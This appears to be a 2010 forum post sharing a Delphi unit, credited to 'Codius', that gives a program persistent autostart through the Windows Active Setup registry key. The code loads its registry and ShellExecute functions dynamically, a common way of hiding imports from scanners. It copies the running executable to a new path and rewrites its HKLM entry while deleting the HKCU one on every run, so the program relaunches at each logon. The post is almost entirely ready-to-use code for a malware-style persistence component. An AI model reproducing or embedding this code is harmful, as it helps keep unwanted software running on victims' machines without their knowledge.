We don't display ads so we rely on your Bitcoin donations to 1KWEk9QaiJb2NwP5YFmR24LyUBa4JyuKqZ
Post date: Aug 9, 2010 10:37:05 PM
This unit, written by Codius, allows you to make use of the ActiveX startup method.
{*******************************************************}{ }{ ActiveX startup unit }{ December 2006, Codius }{ }{*******************************************************}unit unStartup;interfaceuses Windows;type TCAutostart = class private mHandle : HModule; xRegCreateKeyEx : function(hKey: HKEY; lpSubKey: pChar; Reserved: DWORD; lpClass: pChar; dwOptions: DWORD; samDesired: REGSAM; lpSecurityAttributes: PSecurityAttributes; var phkResult: HKEY; lpdwDisposition: PDWORD): LongInt; stdcall; xRegCloseKey : function(hKey: HKEY): LongInt; stdcall; xRegDeleteKey : function(hKey: HKEY; lpSubKey: pChar): LongInt; stdcall; xRegOpenKeyEx : function(hKey: HKEY; lpSubKey: pChar; ulOptions: DWORD; samDesired: REGSAM; var phkResult: HKEY): LongInt; stdcall; xRegSetValueEx : function(hKey: HKEY; lpValueName: pChar; Reserved: DWORD; dwType: DWORD; lpData: Pointer; cbData: DWORD): LongInt; stdcall; xShellExecute : function(hWnd: HWND; Operation, FileName, Parameters, Directory: pChar; ShowCmd: Integer): HINST; stdcall; procedure Initialize; function ErrorCheck: Integer; public constructor Create; destructor Destroy; function Install(lpKeyName, lpFilePath: pChar): Integer; function Uninstall(lpKeyName: pChar): Integer; function Update(lpKeyName: pChar): Integer; function Restart(lpFilePath, lpParameters: pChar): Integer; function Startup(lpKeyName, lpFilePath, lpParameters: pChar): Integer; function Move(lpFilePath: pChar): Boolean; end;implementation{ TCAutostart.Create This constructor will initialize the function variables. }constructor TCAutostart.Create;begin Inherited; Initialize;end;{ TCAutostart.Destroy This destructor will free the library we used. }destructor TCAutostart.Destroy;begin FreeLibrary(mHandle); Inherited;end;{ TCAutostart.Initialize This procedure will set the function variables to thier corresponding function. }procedure TCAutostart.Initialize;begin mHandle := LoadLibrary('Advapi32'); xRegCreateKeyEx := GetProcAddress(mHandle, 'RegCreateKeyExA'); xRegCloseKey := GetProcAddress(mHandle, 'RegCloseKey'); xRegDeleteKey := GetProcAddress(mHandle, 'RegDeleteKeyA'); xRegOpenKeyEx := GetProcAddress(mHandle, 'RegOpenKeyExA'); xRegSetValueEx := GetProcAddress(mHandle, 'RegSetValueExA'); xShellExecute := GetProcAddress(LoadLibrary('Shell32'), 'ShellExecuteA');end;{ TCAutostart.ErrorCheck This function will make sure every function variable was successfully loaded. }function TCAutostart.ErrorCheck: Integer;begin Result := 0; if (@xRegCreateKeyEx = nil) then Exit; if (@xRegCloseKey = nil) then Exit; if (@xRegOpenKeyEx = nil) then Exit; if (@xRegSetValueEx = nil) then Exit; if (@xRegDeleteKey = nil) then Exit; if (@xShellExecute = nil) then Exit; Result := 1;end;{ TCAutostart.Install This function will create the keys and values needed to autostart. }function TCAutostart.Install(lpKeyName, lpFilePath: pChar): Integer;const Param : string = ' Restart' + #0;var Handle : HKEY;begin Result := ErrorCheck; if (Result = 1) then begin xRegCreateKeyEx(HKEY_LOCAL_MACHINE, pChar('Software\Microsoft\Active Setup\Installed Components\' + lpKeyName), 0, nil, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE, nil, Handle, nil); xRegSetValueEx(Handle, 'StubPath', 0, 1, Pointer(pChar(lpFilePath + Param)), (Length(lpFilePath) + Length(Param))); xRegCloseKey(Handle); end;end;{ TCAutostart.Uninstall This function will remove all keys and values which were created during the install. }function TCAutostart.Uninstall(lpKeyName: pChar): Integer;var Handle : HKEY;begin Result := ErrorCheck; if (Result = 1) then begin xRegOpenKeyEx(HKEY_LOCAL_MACHINE, 'Software\Microsoft\Active Setup\Installed Components\', 0, KEY_WRITE, Handle); xRegDeleteKey(Handle, lpKeyName); xRegCloseKey(Handle); Update(lpKeyName); end;end;{ TCAutostart.Update This function will remove the keys and values preventing the program to start at next reboot. }function TCAutostart.Update(lpKeyName: pChar): Integer;var Handle : HKEY;begin Result := ErrorCheck; if (Result = 1) then begin xRegOpenKeyEx(HKEY_CURRENT_USER, 'Software\Microsoft\Active Setup\Installed Components\', 0, KEY_WRITE, Handle); xRegDeleteKey(Handle, lpKeyName); xRegCloseKey(Handle); end;end;{ TCAutostart.Restart This function will start the actual program without the Restart parameter. }function TCAutostart.Restart(lpFilePath, lpParameters: pChar): Integer;begin Result := ErrorCheck; if (Result = 1) then begin if (ParamStr(1) = 'Restart') then begin xShellExecute(0, nil, lpFilePath, lpParameters, nil, 5); Destroy; ExitProcess(0); end; end;end;{ TCAutostart.Startup This function will install the autostart keys and values and keep them alive. }function TCAutostart.Startup(lpKeyName, lpFilePath, lpParameters: pChar): Integer;begin Result := ErrorCheck; if (Result = 1) then begin Update(lpKeyName); Restart(lpFilePath, lpParameters); if Move(lpFilePath) then Install(lpKeyName, lpFilePath); end;end;{ TCAutostart.Move This function will move the source file. }function TCAutostart.Move(lpFilePath: pChar): Boolean;begin Result := False; if (ParamStr(0) <> lpFilePath) then begin CopyFile(pChar(ParamStr(0)), lpFilePath, False); Result := True; end;end;end.